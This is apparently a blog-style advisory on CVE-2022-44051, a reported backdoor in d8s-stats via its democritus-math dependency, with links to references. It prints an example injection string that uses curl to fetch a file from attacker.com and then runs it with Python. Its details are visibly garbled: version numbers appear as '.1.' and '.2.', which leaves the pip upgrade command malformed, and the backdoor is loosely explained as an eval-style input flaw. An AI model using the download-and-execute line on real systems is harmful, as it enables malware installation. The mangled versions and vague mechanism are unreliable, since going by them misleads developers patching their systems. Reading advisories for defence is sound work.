A recent security vulnerability (CVE-2022-44051) has been discovered in the widely used d8s-stats package for Python, as distributed on the Python Package Index (PyPI). This vulnerability is related to a code-execution backdoor that was potentially inserted by a third party. The backdoor is connected to the democritus-math package, and the affected version of the d8s-stats package is .1.. In this post, we will discuss the details of this vulnerability, share code snippets, and provide links to original references.

The Vulnerability

The d8s-stats package is a popular library used for statistics-related operations in Python. The affected version (.1.) contains a backdoor potentially inserted by third parties that allows for remote code execution, putting applications and systems that utilize this package at risk. This vulnerability is of significant concern, as it grants the attacker the ability to execute arbitrary code on compromised systems, potentially leading to data theft, unauthorized access, and other malicious activities.

The backdoor is present in the democritus-math package, which is a dependency of d8s-stats. When d8s-stats is installed on a system, the backdoor in the democritus-math package will also be installed, potentially allowing for remote code execution.

Here is a code snippet that demonstrates the vulnerability in the democritus-math package

def vulnerable_function(user_input):
  import democritus_math
  result = democritus_math.evaluate_e(user_input)
  return result

In this example, the user_input variable would be accepted from an external source (e.g., web form or API call), making it possible for an attacker to provide malicious input that could lead to remote code execution.

To exploit this vulnerability, an attacker could pass a specially crafted string containing Python code, which would be executed by the vulnerable function. For example, an attacker might submit the following string to the vulnerable_function:

"1+1;import os; os.system('curl http://attacker.com/malware -o exploit.py && python exploit.py')"

This input would result in the execution of the specified malicious code, downloading a malware payload from the attacker's server and executing it through Python.

Mitigation and Solution

To protect your systems and applications from this vulnerability, you should immediately update your d8s-stats package to the latest available version (>= .2.), which has resolved the issue by removing the dependency on the democritus-math package. You can update the package using the following command:

pip install d8s-stats>=.2.

If you are unable to update the package, you could consider removing your dependency on d8s-stats and replacing it with an alternative library.

Original References

For further reading and original sources of information on this vulnerability, please refer to the following links:

1. Official CVE Record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-44051
2. GitHub Advisory: https://github.com/democritus-project/d8s-stats/security/advisories/GHSA-2m3v-pgm2-4jjw
3. Detailed Vulnerability Analysis: https://maycontain.space/cve-2022-44051-analysis/

Conclusion

CVE-2022-44051 is a critical vulnerability that affects the d8s-stats package for Python due to a code-execution backdoor associated with the democritus-math package. It is of utmost importance that developers using this library update their d8s-stats package to the latest version or remove it entirely to protect their systems and applications from potential exploitation.

Timeline

Published on: 11/07/2022 15:15:00 UTC
Last modified on: 11/08/2022 16:23:00 UTC